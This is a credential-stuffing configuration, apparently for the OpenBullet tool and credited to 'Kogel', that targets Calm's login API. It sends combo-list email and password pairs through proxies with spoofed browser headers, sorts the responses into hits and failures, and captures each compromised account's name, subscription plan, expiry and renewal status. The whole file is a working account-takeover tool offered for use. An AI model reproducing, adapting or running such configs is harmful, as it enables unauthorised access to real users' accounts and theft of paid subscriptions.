Kod:
[SETTINGS]
{
"Name": "Calm",
"SuggestedBots": 50,
"MaxCPM": 0,
"LastModified": "2020-09-29T13:26:24.8399908+02:00",
"AdditionalInfo": "",
"RequiredPlugins": [],
"Author": "Kogel",
"Version": "1.2.2",
"SaveEmptyCaptures": false,
"ContinueOnCustom": false,
"SaveHitsToTextFile": false,
"IgnoreResponseErrors": false,
"MaxRedirects": 8,
"NeedsProxies": true,
"OnlySocks": false,
"OnlySsl": false,
"MaxProxyUses": 0,
"BanProxyAfterGoodStatus": false,
"BanLoopEvasionOverride": -1,
"EncodeData": false,
"AllowedWordlist1": "",
"AllowedWordlist2": "",
"DataRules": [],
"CustomInputs": [],
"ForceHeadless": false,
"AlwaysOpen": false,
"AlwaysQuit": false,
"QuitOnBanRetry": false,
"DisableNotifications": false,
"CustomUserAgent": "",
"RandomUA": false,
"CustomCMDArgs": ""
}
[SCRIPT]
#LOGIN REQUEST POST "https://api.calm.com/login"
CONTENT "{\"email\":\"<USER>\",\"password\":\"<PASS>\"}"
CONTENTTYPE "application/json"
HEADER "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36"
HEADER "Pragma: no-cache"
HEADER "Accept: application/json"
HEADER "origin: https://www.calm.com"
HEADER "referer: https://www.calm.com/"
HEADER "accept-encoding: gzip, deflate, br"
HEADER "x-device-platform: www"
HEADER "x-device-version: 1.3"
HEADER "Cache-Control: no-cache"
HEADER "Content-Length: 64"
HEADER "accept-language: en-US,en;q=0.9"
HEADER "x-device-id: <tok>"
#LOGIN_CHECK KEYCHECK
KEYCHAIN Failure OR
KEY "<RESPONSECODE>" Contains "400"
KEYCHAIN Success OR
KEY "\"name\": "
#PLAN PARSE "<SOURCE>" LR "\"subscription_plan\": \"" "\"" CreateEmpty=FALSE -> CAP "PLAN"
#EXPIRY PARSE "<SOURCE>" LR "\"expires\": \"" "\"" CreateEmpty=FALSE -> CAP "Expiry"
#NAME PARSE "<SOURCE>" LR "\"name\": \"" "\"" CreateEmpty=FALSE -> CAP "NAME"
#RENEW PARSE "<SOURCE>" LR "\"will_renew\": " "," CreateEmpty=FALSE -> CAP "RENEW"
KEYCHECK
KEYCHAIN Custom "FREE" OR
KEY "<SOURCE>" DoesNotContain "\"subscription_plan\": \""
KEYCHAIN Success OR
KEY "\"subscription_plan\": \""
FUNCTION Constant "|$MADE BY KOGEL$|" -> CAP "|$MADE BY KOGEL$|"